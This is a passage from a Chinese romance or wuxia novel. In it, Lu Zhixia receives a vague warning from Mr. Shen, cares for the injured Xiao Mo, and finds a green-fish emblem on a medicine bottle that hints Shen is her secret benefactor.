他发现她最近变得开朗许多,这样的她莫名想让人靠近。想到这,他正色道:“小夏,听我一言,只身在外凡事要留个心眼,不要轻易相信别人,更不要随便把阿猫阿狗往家里带。有些家伙看上去人畜无害、讨人喜欢,当心他心是黑的,最后反咬你一口。” 陆知夏觉得沈公子意有所指,追问道:“公子能不能把话说得明白些?” “记住我的话。”沈公子没有解释,纵身跃上屋檐,转瞬消失在茫茫夜色中。 * 二更梆子声声。 陆知夏小心翼翼回到小院。东屋仍亮着灯,门也半开着。之前她匆匆出门,不知萧陌现在如何。她回房理了理鬓发,拿上今日新买的衣裳,端着一盆水往东屋走去。 萧陌仍未歇息,陆知夏进门的时候他转头望去,目光停留在她右颊一道淤青上,“小夏,你的脸怎么了?” 方才陆知夏已尽量侧着脸,但还是被眼尖的萧陌发现伤痕,支吾道:“没事,走夜路时不小心撞到墙了。” 这个谎话很低级,但萧陌无意追问。 陆知夏拧了一把巾帕给萧陌擦脸。 “我自己来吧。”萧陌道。 陆知夏一怔,将手里巾帕交给他。她刚刚意识到,自救他回来起她一直主动为他擦脸,如今都习惯了。 他心里不会介意吧?陆知夏有些不好意思。即便如此,她还是忘不了第一次为他擦脸的情形。那晚他的脸被她故意抹黑,之后在她的擦拭下一点点恢复原貌,如同倾世美玉被人挖掘而出,洗去污浊后惊艳世人。 她不是没见过美貌男子,家里就有一个。但陆子辰清冷孤傲,似极峰上的万年寒冰。而萧陌柔和谦逊,如人见人爱的温润美玉。一个她越看越讨厌,一个她越看越喜欢,完全不可相提并论。 临走前,陆知夏将新衣裳放在枕边。萧陌对她温和一笑,“多谢,早些回去歇息吧。” “嗯。”望着那张带着柔暖微笑的俊脸,陆知夏也不由笑出虎牙。但不知怎的,她耳边蓦然响起沈公子临走前的告诫。他说的不会是萧陌吧? 陆知夏端着水盆若有所思地从东屋出来。 回屋沐浴后,陆知夏拿出沈公子给的伤药小心涂抹。灯光下,她觉得手里的药瓶看着有几分眼熟,她将它举起,陡然睁大双眼。瓶底竟真的有一条水墨纹样的青鱼徽记! 沈公子难道就是那个偷偷给她送药的神秘人?陆知夏内心久久不能平静,这究竟是巧合还是…… 她脑子一团乱,熄了灯躺在床上翻来覆去睡不着。 徽记通常有含义。可青和帮的徽记并不是这个,“青鱼”到底代表着什么呢? 同一座城池的天空下也有一人难以入眠。沈公子对着桌上一个小药瓶发愁,今日他带的不是帮里的药啊…… 熄灯前,他有了一个主意,或许可以暂时糊弄过去。